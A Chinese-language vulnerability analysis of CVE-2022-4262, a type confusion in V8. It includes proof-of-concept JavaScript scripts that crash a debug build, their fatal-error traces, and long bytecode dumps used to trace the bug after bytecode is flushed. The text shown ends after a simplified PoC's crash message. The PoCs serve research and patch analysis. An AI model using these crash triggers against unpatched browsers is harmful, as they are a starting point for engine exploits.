作者:Jack Ren
原文鏈接:https://github.com/bjrjk/CVE-2022-4262/blob/main/CVE-2022-4262.md

基本信息

漏洞編號:CVE-2022-4262

受影響的產品:V8

復現Commit:

  • Before Patch: 323ada0128db42088ee76dbeefa577fd07bfd7df
  • After Patch: 27fa951ae4a3801126e84bc94d5c82dd2370d18b

關鍵字:Type Confusion

操作系統:Ubuntu 22.04

執行選項:./d8 --allow-natives-syntax --print-bytecode --trace-flush-bytecode --trace-lazy --no-concurrent_recompilation --no-concurrent-sweeping --print-scopes --print-builtin-info PoC.js

PoC

預備知識

類的計算屬性名及undefined的省略

// 其中,“0”是對象的屬性名,初始值為undefined
> class b3 {"0" = undefined} // 或 class b3 {0 = undefined}
undefined
> new b3()
b3 {0: undefined}

// undefined 可省略不寫
> class b3 {0}
undefined
> new b3()
b3 {0: undefined}

// “[0]”是ComputedPropertyName詞法單元,其等價于"0",因此上述代碼還等價于
> class b3 {[0]}
undefined
> new b3()
b3 {0: undefined}

image

Lambda表達式的默認形參

> ((a = 1) => { return a; })();
1

三元運算符

> ({ c: undefined, d: undefined, e: undefined }) ? 1 : (aa = 1, bb = 2)
1

初始PoC源碼

a = function () {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    function ccc() { }
    {
        ((a = class b3 {
            [({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
        }) => { })();
    }
    if (j == 11) {
        a();
    }
}

初始PoC的崩潰信息及其調用棧

RangeError: Array buffer allocation failed


#
# Fatal error in ../../src/objects/object-type.cc, line 81
# Type cast failed in CAST(GetHeapObjectAssumeWeak(maybe_weak_ref, try_handler)) at ../../src/ic/accessor-assembler.cc:3371
  Expected PropertyCell but found 0x129e0025a96d: [FeedbackCell] in OldSpace
 - map: 0x129e00002b11 <Map[12](FEEDBACK_CELL_TYPE)>
 - many closures
 - value: 0x129e00003511 <ClosureFeedbackCellArray[0]>
 - interrupt_budget: 940

#
#
#
#FailureMessage Object: 0x7ffe81e9b570
==== C stack trace ===============================

    out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f4fa5fe9f1e]
    out/x64.debug/libv8_libplatform.so(+0x4ad9d) [0x7f4fa5f3fd9d]
    out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x16f) [0x7f4fa5fb8b9f]
    out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0x836b) [0x7f4fa9a31bbb]
    [0x7f4f3fdc2ae7]

手工構造恢復的調用棧:

void AccessorAssembler::LoadGlobalIC
void AccessorAssembler::LoadGlobalIC_TryPropertyCellCase

PoC的初步調試

修改后的PoC1

修改后的PoC1源碼

運行參數:./d8 --allow-natives-syntax --print-bytecode PoC.js

a = function f1() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    function ccc() { }
    {
        ((a = class b3 {
            [({ c: eval(), d: ccc(eval), e: ccc(eval) } ? 0 : (aa = 1, bb = 2))]
        }) => { let z = 0xdeadbeef; })(); // 新增z變量,以建立打印出的字節碼與各JavaScript函數的對應關系
    }
    if (j == 11) {
        a();
    }
    %SystemBreak();
}

ByteCode及生成過程

[generated bytecode for function:  (0x3ef60025a409 <SharedFunctionInfo>)] // Global Function
Bytecode length: 173
Parameter count 1
Register count 8
Frame size 64
Bytecode age: 0
         0x3ef60025a616 @    0 : 13 00             LdaConstant [0]
         0x3ef60025a618 @    2 : c0                Star4
         0x3ef60025a619 @    3 : 19 fe f5          Mov <closure>, r5
         0x3ef60025a61c @    6 : 65 5e 01 f6 02    CallRuntime [DeclareGlobals], r4-r5
         0x3ef60025a621 @   11 : 80 01 00 00       CreateClosure [1], [0], #0
         0x3ef60025a625 @   15 : 23 02 00          StaGlobal [2], [0]
         0x3ef60025a628 @   18 : 81 03             CreateBlockContext [3]
         0x3ef60025a62a @   20 : 1a f6             PushContext r4
         0x3ef60025a62c @   22 : 10                LdaTheHole
         0x3ef60025a62d @   23 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a62f @   25 : 0c                LdaZero
         0x3ef60025a630 @   26 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a632 @   28 : 16 02             LdaCurrentContextSlot [2]
         0x3ef60025a634 @   30 : c4                Star0
         0x3ef60025a635 @   31 : 0d 01             LdaSmi [1]
         0x3ef60025a637 @   33 : c3                Star1
         0x3ef60025a638 @   34 : 0e                LdaUndefined
         0x3ef60025a639 @   35 : c1                Star3
         0x3ef60025a63a @   36 : 81 04             CreateBlockContext [4]
         0x3ef60025a63c @   38 : 1a f5             PushContext r5
         0x3ef60025a63e @   40 : 10                LdaTheHole
         0x3ef60025a63f @   41 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a641 @   43 : 0b fa             Ldar r0
         0x3ef60025a643 @   45 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a645 @   47 : 0d 01             LdaSmi [1]
         0x3ef60025a647 @   49 : 6b f9 02          TestEqual r1, [2]
         0x3ef60025a64a @   52 : 99 06             JumpIfFalse [6] (0x3ef60025a650 @ 58)
         0x3ef60025a64c @   54 : 0c                LdaZero
         0x3ef60025a64d @   55 : c3                Star1
         0x3ef60025a64e @   56 : 8a 08             Jump [8] (0x3ef60025a656 @ 64)
         0x3ef60025a650 @   58 : 16 02             LdaCurrentContextSlot [2]
         0x3ef60025a652 @   60 : 50 03             Inc [3]
         0x3ef60025a654 @   62 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a656 @   64 : 0d 01             LdaSmi [1]
         0x3ef60025a658 @   66 : c2                Star2
         0x3ef60025a659 @   67 : 16 02             LdaCurrentContextSlot [2]
         0x3ef60025a65b @   69 : be                Star6
         0x3ef60025a65c @   70 : 0d 0d             LdaSmi [13]
         0x3ef60025a65e @   72 : 6d f4 04          TestLessThan r6, [4]
         0x3ef60025a661 @   75 : 99 04             JumpIfFalse [4] (0x3ef60025a665 @ 79)
         0x3ef60025a663 @   77 : 8a 06             Jump [6] (0x3ef60025a669 @ 83)
         0x3ef60025a665 @   79 : 1b f5             PopContext r5
         0x3ef60025a667 @   81 : 8a 57             Jump [87] (0x3ef60025a6be @ 168)
         0x3ef60025a669 @   83 : 0e                LdaUndefined
         0x3ef60025a66a @   84 : c1                Star3
         0x3ef60025a66b @   85 : 0d 01             LdaSmi [1]
         0x3ef60025a66d @   87 : 6b f8 05          TestEqual r2, [5]
         0x3ef60025a670 @   90 : 99 3d             JumpIfFalse [61] (0x3ef60025a6ad @ 151)
         0x3ef60025a672 @   92 : 81 05             CreateBlockContext [5]
         0x3ef60025a674 @   94 : 1a f4             PushContext r6
         0x3ef60025a676 @   96 : 80 06 01 00       CreateClosure [6], [1], #0
         0x3ef60025a67a @  100 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a67c @  102 : 16 02             LdaCurrentContextSlot [2]
         0x3ef60025a67e @  104 : 23 07 06          StaGlobal [7], [6]
         0x3ef60025a681 @  107 : 80 08 02 00       CreateClosure [8], [2], #0
         0x3ef60025a685 @  111 : bd                Star7
         0x3ef60025a686 @  112 : 61 f3 08          CallUndefinedReceiver0 r7, [8]
         0x3ef60025a689 @  115 : 14 f4 02 00       LdaContextSlot r6, [2], [0]
         0x3ef60025a68d @  119 : bd                Star7
         0x3ef60025a68e @  120 : 0d 0b             LdaSmi [11]
         0x3ef60025a690 @  122 : 6b f3 0a          TestEqual r7, [10]
         0x3ef60025a693 @  125 : 99 09             JumpIfFalse [9] (0x3ef60025a69c @ 134)
         0x3ef60025a695 @  127 : 21 02 0b          LdaGlobal [2], [11]
         0x3ef60025a698 @  130 : bd                Star7
         0x3ef60025a699 @  131 : 61 f3 0d          CallUndefinedReceiver0 r7, [13]
         0x3ef60025a69c @  134 : 65 f3 01 fa 00    CallRuntime [SystemBreak], r0-r0
         0x3ef60025a6a1 @  139 : c1                Star3
         0x3ef60025a6a2 @  140 : 1b f4             PopContext r6
         0x3ef60025a6a4 @  142 : 0c                LdaZero
         0x3ef60025a6a5 @  143 : c2                Star2
         0x3ef60025a6a6 @  144 : 16 02             LdaCurrentContextSlot [2]
         0x3ef60025a6a8 @  146 : c4                Star0
         0x3ef60025a6a9 @  147 : 89 3e 01 0f       JumpLoop [62], [1], [15] (0x3ef60025a66b @ 85)
         0x3ef60025a6ad @  151 : 0d 01             LdaSmi [1]
         0x3ef60025a6af @  153 : 6b f8 10          TestEqual r2, [16]
         0x3ef60025a6b2 @  156 : 99 06             JumpIfFalse [6] (0x3ef60025a6b8 @ 162)
         0x3ef60025a6b4 @  158 : 1b f5             PopContext r5
         0x3ef60025a6b6 @  160 : 8a 08             Jump [8] (0x3ef60025a6be @ 168)
         0x3ef60025a6b8 @  162 : 1b f5             PopContext r5
         0x3ef60025a6ba @  164 : 89 80 00 11       JumpLoop [128], [0], [17] (0x3ef60025a63a @ 36)
         0x3ef60025a6be @  168 : 1b f6             PopContext r4
         0x3ef60025a6c0 @  170 : 0b f7             Ldar r3
         0x3ef60025a6c2 @  172 : a9                Return
Constant pool (size = 9)
0x3ef60025a5c9: [FixedArray] in OldSpace
 - map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 9
           0: 0x3ef60025a525 <FixedArray[1]>
           1: 0x3ef60025a531 <SharedFunctionInfo f1>
           2: 0x3ef600004085 <String[1]: #a>
           3: 0x3ef60025a431 <ScopeInfo BLOCK_SCOPE>
           4: 0x3ef60025a449 <ScopeInfo BLOCK_SCOPE>
           5: 0x3ef60025a465 <ScopeInfo BLOCK_SCOPE>
           6: 0x3ef60025a569 <SharedFunctionInfo ccc>
           7: 0x3ef60025a349 <String[3]: #ccc>
           8: 0x3ef60025a5a1 <SharedFunctionInfo>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function:  (0x3ef60025a5a1 <SharedFunctionInfo>)] // Lambda Expression
Bytecode length: 144
Parameter count 2
Register count 11
Frame size 88
Bytecode age: 0
         0x3ef60025a872 @    0 : 83 00 01          CreateFunctionContext [0], [1]
         0x3ef60025a875 @    3 : 1a f9             PushContext r1
         0x3ef60025a877 @    5 : 10                LdaTheHole
         0x3ef60025a878 @    6 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a87a @    8 : 0b 03             Ldar a0
         0x3ef60025a87c @   10 : 9d 7d             JumpIfNotUndefined [125] (0x3ef60025a8f9 @ 135)
         0x3ef60025a87e @   12 : 81 01             CreateBlockContext [1]
         0x3ef60025a880 @   14 : 1a f8             PushContext r2
         0x3ef60025a882 @   16 : 10                LdaTheHole
         0x3ef60025a883 @   17 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a885 @   19 : 10                LdaTheHole
         0x3ef60025a886 @   20 : 25 03             StaCurrentContextSlot [3]
         0x3ef60025a888 @   22 : 10                LdaTheHole
         0x3ef60025a889 @   23 : be                Star6
         0x3ef60025a88a @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x3ef60025a88e @   28 : c1                Star3
         0x3ef60025a88f @   29 : 13 02             LdaConstant [2]
         0x3ef60025a891 @   31 : c0                Star4
         0x3ef60025a892 @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x3ef60025a896 @   36 : bc                Star8
         0x3ef60025a897 @   37 : 21 05 01          LdaGlobal [5], [1]
         0x3ef60025a89a @   40 : bb                Star9
         0x3ef60025a89b @   41 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x3ef60025a89e @   44 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x3ef60025a8a2 @   48 : 14 f9 02 00       LdaContextSlot r1, [2], [0]
         0x3ef60025a8a6 @   52 : bb                Star9
         0x3ef60025a8a7 @   53 : 21 05 01          LdaGlobal [5], [1]
         0x3ef60025a8aa @   56 : ba                Star10
         0x3ef60025a8ab @   57 : 62 f1 f0 07       CallUndefinedReceiver1 r9, r10, [7]
         0x3ef60025a8af @   61 : 33 f2 07 09       DefineNamedOwnProperty r8, [7], [9]
         0x3ef60025a8b3 @   65 : 14 f9 02 00       LdaContextSlot r1, [2], [0]
         0x3ef60025a8b7 @   69 : bb                Star9
         0x3ef60025a8b8 @   70 : 21 05 01          LdaGlobal [5], [1]
         0x3ef60025a8bb @   73 : ba                Star10
         0x3ef60025a8bc @   74 : 62 f1 f0 0b       CallUndefinedReceiver1 r9, r10, [11]
         0x3ef60025a8c0 @   78 : 33 f2 08 0d       DefineNamedOwnProperty r8, [8], [13]
         0x3ef60025a8c4 @   82 : 19 f7 f5          Mov r3, r5
         0x3ef60025a8c7 @   85 : 0b f2             Ldar r8
         0x3ef60025a8c9 @   87 : 97 05             JumpIfToBooleanFalse [5] (0x3ef60025a8ce @ 92)
         0x3ef60025a8cb @   89 : 0c                LdaZero
         0x3ef60025a8cc @   90 : 8a 0f             Jump [15] (0x3ef60025a8db @ 105)
         0x3ef60025a8ce @   92 : 0d 01             LdaSmi [1]
         0x3ef60025a8d0 @   94 : 23 09 0f          StaGlobal [9], [15]
         0x3ef60025a8d3 @   97 : 0d 02             LdaSmi [2]
         0x3ef60025a8d5 @   99 : bc                Star8
         0x3ef60025a8d6 @  100 : 23 0a 11          StaGlobal [10], [17]
         0x3ef60025a8d9 @  103 : 0b f2             Ldar r8
         0x3ef60025a8db @  105 : 73 f3             ToName r7
         0x3ef60025a8dd @  107 : 0b f3             Ldar r7
         0x3ef60025a8df @  109 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a8e1 @  111 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x3ef60025a8e6 @  116 : 0b f7             Ldar r3
         0x3ef60025a8e8 @  118 : 25 03             StaCurrentContextSlot [3]
         0x3ef60025a8ea @  120 : 80 0b 01 02       CreateClosure [11], [1], #2
         0x3ef60025a8ee @  124 : c0                Star4
         0x3ef60025a8ef @  125 : 32 f7 0c 13       SetNamedProperty r3, [12], [19]
         0x3ef60025a8f3 @  129 : 1b f8             PopContext r2
         0x3ef60025a8f5 @  131 : 0b f7             Ldar r3
         0x3ef60025a8f7 @  133 : 8a 04             Jump [4] (0x3ef60025a8fb @ 137)
         0x3ef60025a8f9 @  135 : 0b 03             Ldar a0
         0x3ef60025a8fb @  137 : 25 02             StaCurrentContextSlot [2]
         0x3ef60025a8fd @  139 : 13 0d             LdaConstant [13]
         0x3ef60025a8ff @  141 : c4                Star0
         0x3ef60025a900 @  142 : 0e                LdaUndefined
         0x3ef60025a901 @  143 : a9                Return
Constant pool (size = 14)
0x3ef60025a805: [FixedArray] in OldSpace
 - map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 14
           0: 0x3ef60025a481 <ScopeInfo FUNCTION_SCOPE>
           1: 0x3ef60025a4b1 <ScopeInfo CLASS_SCOPE>
           2: 0x3ef60025a7e1 <FixedArray[7]>
           3: 0x3ef60025a6dd <SharedFunctionInfo b3>
           4: 0x3ef60025a73d <ObjectBoilerplateDescription[7]>
           5: 0x3ef600006005 <String[4]: #eval>
           6: 0x3ef6000040a5 <String[1]: #c>
           7: 0x3ef6000040b5 <String[1]: #d>
           8: 0x3ef6000040c5 <String[1]: #e>
           9: 0x3ef60025a369 <String[2]: #aa>
          10: 0x3ef60025a379 <String[2]: #bb>
          11: 0x3ef60025a715 <SharedFunctionInfo <instance_members_initializer>>
          12: 0x3ef6000071e5 <Symbol: (class_fields_symbol)>
          13: 0x3ef60025a845 <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: <instance_members_initializer> (0x3ef60025a715 <SharedFunctionInfo <instance_members_initializer>>)] // member initializer for class b3's new instance
Bytecode length: 10
Parameter count 1
Register count 1
Frame size 8
Bytecode age: 0
         0x3ef60025a942 @    0 : 17 02             LdaImmutableCurrentContextSlot [2]
         0x3ef60025a944 @    2 : c4                Star0
         0x3ef60025a945 @    3 : 0e                LdaUndefined
  508 E> 0x3ef60025a946 @    4 : 35 02 fa 00       DefineKeyedOwnProperty <this>, r0, [0]
         0x3ef60025a94a @    8 : 0e                LdaUndefined
  584 S> 0x3ef60025a94b @    9 : a9                Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 8)
0x3ef60025a94d <ByteArray[8]>
[generated bytecode for function: ccc (0x3ef60025a569 <SharedFunctionInfo ccc>)]
Bytecode length: 2
Parameter count 1
Register count 0
Frame size 0
Bytecode age: 0
         0x3ef60025ab42 @    0 : 0e                LdaUndefined
         0x3ef60025ab43 @    1 : a9                Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: f1 (0x3ef60025a531 <SharedFunctionInfo f1>)]
Bytecode length: 121
Parameter count 1
Register count 5
Frame size 40
Bytecode age: 0
         0x3ef60025b4ae @    0 : 19 ff f9          Mov <context>, r1
         0x3ef60025b4b1 @    3 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4b4 @    6 : c2                Star2
         0x3ef60025b4b5 @    7 : 13 01             LdaConstant [1]
         0x3ef60025b4b7 @    9 : c1                Star3
         0x3ef60025b4b8 @   10 : 0b f8             Ldar r2
         0x3ef60025b4ba @   12 : 69 f8 f7 01 02    Construct r2, r3-r3, [2]
         0x3ef60025b4bf @   17 : c4                Star0
         0x3ef60025b4c0 @   18 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4c3 @   21 : c2                Star2
         0x3ef60025b4c4 @   22 : 13 01             LdaConstant [1]
         0x3ef60025b4c6 @   24 : c1                Star3
         0x3ef60025b4c7 @   25 : 0b f8             Ldar r2
         0x3ef60025b4c9 @   27 : 69 f8 f7 01 04    Construct r2, r3-r3, [4]
         0x3ef60025b4ce @   32 : c4                Star0
         0x3ef60025b4cf @   33 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4d2 @   36 : c2                Star2
         0x3ef60025b4d3 @   37 : 13 01             LdaConstant [1]
         0x3ef60025b4d5 @   39 : c1                Star3
         0x3ef60025b4d6 @   40 : 0b f8             Ldar r2
         0x3ef60025b4d8 @   42 : 69 f8 f7 01 06    Construct r2, r3-r3, [6]
         0x3ef60025b4dd @   47 : c4                Star0
         0x3ef60025b4de @   48 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4e1 @   51 : c2                Star2
         0x3ef60025b4e2 @   52 : 13 01             LdaConstant [1]
         0x3ef60025b4e4 @   54 : c1                Star3
         0x3ef60025b4e5 @   55 : 0b f8             Ldar r2
         0x3ef60025b4e7 @   57 : 69 f8 f7 01 08    Construct r2, r3-r3, [8]
         0x3ef60025b4ec @   62 : c4                Star0
         0x3ef60025b4ed @   63 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4f0 @   66 : c2                Star2
         0x3ef60025b4f1 @   67 : 13 01             LdaConstant [1]
         0x3ef60025b4f3 @   69 : c1                Star3
         0x3ef60025b4f4 @   70 : 0b f8             Ldar r2
         0x3ef60025b4f6 @   72 : 69 f8 f7 01 0a    Construct r2, r3-r3, [10]
         0x3ef60025b4fb @   77 : c4                Star0
         0x3ef60025b4fc @   78 : 21 00 00          LdaGlobal [0], [0]
         0x3ef60025b4ff @   81 : c2                Star2
         0x3ef60025b500 @   82 : 13 01             LdaConstant [1]
         0x3ef60025b502 @   84 : c1                Star3
         0x3ef60025b503 @   85 : 0b f8             Ldar r2
         0x3ef60025b505 @   87 : 69 f8 f7 01 0c    Construct r2, r3-r3, [12]
         0x3ef60025b50a @   92 : c4                Star0
         0x3ef60025b50b @   93 : 8a 1a             Jump [26] (0x3ef60025b525 @ 119)
         0x3ef60025b50d @   95 : c2                Star2
         0x3ef60025b50e @   96 : 82 f8 02          CreateCatchContext r2, [2]
         0x3ef60025b511 @   99 : c3                Star1
         0x3ef60025b512 @  100 : 10                LdaTheHole
         0x3ef60025b513 @  101 : a6                SetPendingMessage
         0x3ef60025b514 @  102 : 0b f9             Ldar r1
         0x3ef60025b516 @  104 : 1a f8             PushContext r2
         0x3ef60025b518 @  106 : 21 03 0e          LdaGlobal [3], [14]
         0x3ef60025b51b @  109 : c1                Star3
         0x3ef60025b51c @  110 : 17 02             LdaImmutableCurrentContextSlot [2]
         0x3ef60025b51e @  112 : c0                Star4
         0x3ef60025b51f @  113 : 62 f7 f6 10       CallUndefinedReceiver1 r3, r4, [16]
         0x3ef60025b523 @  117 : 1b f8             PopContext r2
         0x3ef60025b525 @  119 : 0e                LdaUndefined
         0x3ef60025b526 @  120 : a9                Return
Constant pool (size = 4)
0x3ef60025b469: [FixedArray] in OldSpace
 - map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 4
           0: 0x3ef60000591d <String[11]: #ArrayBuffer>
           1: 0x3ef60025b481 <HeapNumber 33285996544.0>
           2: 0x3ef60025b439 <ScopeInfo CATCH_SCOPE>
           3: 0x3ef60024229d <String[5]: #print>
Handler Table (size = 16)
   from   to       hdlr (prediction,   data)
  (   3,  93)  ->    95 (prediction=1, data=1)
Source Position Table (size = 0)
RangeError: Array buffer allocation failed
[generated bytecode for function:  (0x3ef60025a5a1 <SharedFunctionInfo>)] // Regenerated bytecode for Lambda Expression
Bytecode length: 144
Parameter count 2
Register count 11
Frame size 88
Bytecode age: 0
         0x3ef60022067a @    0 : 83 00 02          CreateFunctionContext [0], [2]
         0x3ef60022067d @    3 : 1a f9             PushContext r1
         0x3ef60022067f @    5 : 10                LdaTheHole
         0x3ef600220680 @    6 : 25 03             StaCurrentContextSlot [3]
         0x3ef600220682 @    8 : 0b 03             Ldar a0
         0x3ef600220684 @   10 : 9d 7d             JumpIfNotUndefined [125] (0x3ef600220701 @ 135)
         0x3ef600220686 @   12 : 81 01             CreateBlockContext [1]
         0x3ef600220688 @   14 : 1a f8             PushContext r2
         0x3ef60022068a @   16 : 10                LdaTheHole
         0x3ef60022068b @   17 : 25 02             StaCurrentContextSlot [2]
         0x3ef60022068d @   19 : 10                LdaTheHole
         0x3ef60022068e @   20 : 25 03             StaCurrentContextSlot [3]
         0x3ef600220690 @   22 : 10                LdaTheHole
         0x3ef600220691 @   23 : be                Star6
         0x3ef600220692 @   24 : 80 03 00 02       CreateClosure [3], [0], #2
         0x3ef600220696 @   28 : c1                Star3
         0x3ef600220697 @   29 : 13 02             LdaConstant [2]
         0x3ef600220699 @   31 : c0                Star4
         0x3ef60022069a @   32 : 7c 04 00 29       CreateObjectLiteral [4], [0], #41
         0x3ef60022069e @   36 : bc                Star8
         0x3ef60022069f @   37 : 28 05 01 02       LdaLookupGlobalSlot [5], [1], [2]
         0x3ef6002206a3 @   41 : bb                Star9
         0x3ef6002206a4 @   42 : 61 f1 03          CallUndefinedReceiver0 r9, [3]
         0x3ef6002206a7 @   45 : 33 f2 06 05       DefineNamedOwnProperty r8, [6], [5]
         0x3ef6002206ab @   49 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0x3ef6002206af @   53 : bb                Star9
         0x3ef6002206b0 @   54 : 28 05 07 02       LdaLookupGlobalSlot [5], [7], [2]
         0x3ef6002206b4 @   58 : ba                Star10
         0x3ef6002206b5 @   59 : 62 f1 f0 09       CallUndefinedReceiver1 r9, r10, [9]
         0x3ef6002206b9 @   63 : 33 f2 08 0b       DefineNamedOwnProperty r8, [8], [11]
         0x3ef6002206bd @   67 : 27 07 02 02       LdaLookupContextSlot [7], [2], [2]
         0x3ef6002206c1 @   71 : bb                Star9
         0x3ef6002206c2 @   72 : 28 05 0d 02       LdaLookupGlobalSlot [5], [13], [2]
         0x3ef6002206c6 @   76 : ba                Star10
         0x3ef6002206c7 @   77 : 62 f1 f0 0f       CallUndefinedReceiver1 r9, r10, [15]
         0x3ef6002206cb @   81 : 33 f2 09 11       DefineNamedOwnProperty r8, [9], [17]
         0x3ef6002206cf @   85 : 19 f7 f5          Mov r3, r5
         0x3ef6002206d2 @   88 : 0b f2             Ldar r8
         0x3ef6002206d4 @   90 : 97 05             JumpIfToBooleanFalse [5] (0x3ef6002206d9 @ 95)
         0x3ef6002206d6 @   92 : 0c                LdaZero
         0x3ef6002206d7 @   93 : 8a 0c             Jump [12] (0x3ef6002206e3 @ 105)
         0x3ef6002206d9 @   95 : 0d 01             LdaSmi [1]
         0x3ef6002206db @   97 : 2c 0a 01          StaLookupSlot [10], #1
         0x3ef6002206de @  100 : 0d 02             LdaSmi [2]
         0x3ef6002206e0 @  102 : 2c 0b 01          StaLookupSlot [11], #1
         0x3ef6002206e3 @  105 : 73 f3             ToName r7
         0x3ef6002206e5 @  107 : 0b f3             Ldar r7
         0x3ef6002206e7 @  109 : 25 02             StaCurrentContextSlot [2]
         0x3ef6002206e9 @  111 : 65 29 00 f6 04    CallRuntime [DefineClass], r4-r7
         0x3ef6002206ee @  116 : 0b f7             Ldar r3
         0x3ef6002206f0 @  118 : 25 03             StaCurrentContextSlot [3]
         0x3ef6002206f2 @  120 : 80 0c 01 02       CreateClosure [12], [1], #2
         0x3ef6002206f6 @  124 : c0                Star4
         0x3ef6002206f7 @  125 : 32 f7 0d 13       SetNamedProperty r3, [13], [19]
         0x3ef6002206fb @  129 : 1b f8             PopContext r2
         0x3ef6002206fd @  131 : 0b f7             Ldar r3
         0x3ef6002206ff @  133 : 8a 04             Jump [4] (0x3ef600220703 @ 137)
         0x3ef600220701 @  135 : 0b 03             Ldar a0
         0x3ef600220703 @  137 : 25 03             StaCurrentContextSlot [3]
         0x3ef600220705 @  139 : 13 0e             LdaConstant [14]
         0x3ef600220707 @  141 : c4                Star0
         0x3ef600220708 @  142 : 0e                LdaUndefined
         0x3ef600220709 @  143 : a9                Return
Constant pool (size = 15)
0x3ef600220609: [FixedArray] in OldSpace
 - map: 0x3ef600002231 <Map(FIXED_ARRAY_TYPE)>
 - length: 15
           0: 0x3ef60022045d <ScopeInfo FUNCTION_SCOPE>
           1: 0x3ef60022048d <ScopeInfo CLASS_SCOPE>
           2: 0x3ef6002205e5 <FixedArray[7]>
           3: 0x3ef6002204e1 <SharedFunctionInfo b3>
           4: 0x3ef600220541 <ObjectBoilerplateDescription[7]>
           5: 0x3ef600006005 <String[4]: #eval>
           6: 0x3ef6000040a5 <String[1]: #c>
           7: 0x3ef60025a349 <String[3]: #ccc>
           8: 0x3ef6000040b5 <String[1]: #d>
           9: 0x3ef6000040c5 <String[1]: #e>
          10: 0x3ef6002203f5 <String[2]: #aa>
          11: 0x3ef600220405 <String[2]: #bb>
          12: 0x3ef600220519 <SharedFunctionInfo <instance_members_initializer>>
          13: 0x3ef6000071e5 <Symbol: (class_fields_symbol)>
          14: 0x3ef60022064d <HeapNumber 3735928559.0>
Handler Table (size = 0)
Source Position Table (size = 0)
[generated bytecode for function: <instance_members_initializer> (0x3ef600220519 <SharedFunctionInfo <instance_members_initializer>>)] // Regenerated bytecode for member initializer for class b3's new instance
Bytecode length: 10
Parameter count 1
Register count 1
Frame size 8
Bytecode age: 0
         0x3ef60022074a @    0 : 17 02             LdaImmutableCurrentContextSlot [2]
         0x3ef60022074c @    2 : c4                Star0
         0x3ef60022074d @    3 : 0e                LdaUndefined
  508 E> 0x3ef60022074e @    4 : 35 02 fa 00       DefineKeyedOwnProperty <this>, r0, [0]
         0x3ef600220752 @    8 : 0e                LdaUndefined
  584 S> 0x3ef600220753 @    9 : a9                Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 8)
0x3ef600220755 <ByteArray[8]>

分析

觀察字節碼的編譯過程,發現lambda表達式實例函數和類實例成員的初始化函數都被編譯了兩次。對于lambda表達式實例函數,兩次編譯的字節碼出現了差異。

image

對兩次編譯的字節碼進行差分檢查,發現首次編譯函數中的LdaGlobal字節碼在第二次編譯時都被替換為了LdaLookupGlobalSlot。感覺此處能說明什么,但在此處還不能體現出問題。

在此處,我們憑直覺猜想,因為f1函數申請大量的內存空間,從而使得v8執行垃圾回收操作。垃圾回收的結果是“lambda表達式實例函數”和“類實例成員的初始化函數”編譯后的字節碼都被清理,為申請的ArrayBuffer騰出空間。但由于申請的空間過多,最后拋出了申請失敗的異常。

修改后的PoC2

修改后的PoC2源碼

a = function f1() {
    try {
        let tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
        tt = new ArrayBuffer(31 * 1024 * 1024 * 1024);
    } catch (t) {
        print(t);
    }
};
for (let j = 0; j < 13; j++) {
    {
        ((a = class b3 {
            [({ c: eval() } ? 0 : (aa = 1))] // 化簡了lambda表達式實例默認函數參數內部class的計算屬性名內容
        }) => { let z = 0xdeadbeef; })();
    }
    if (j == 11) {
        a();
    }
}

崩潰信息

崩潰信息產生了變化:

#
# Fatal error in ../../src/objects/js-function.cc, line 616
# Check failed: function->feedback_vector().length() == function->feedback_vector().metadata().slot_count() (11 vs. 9).
#
#
#
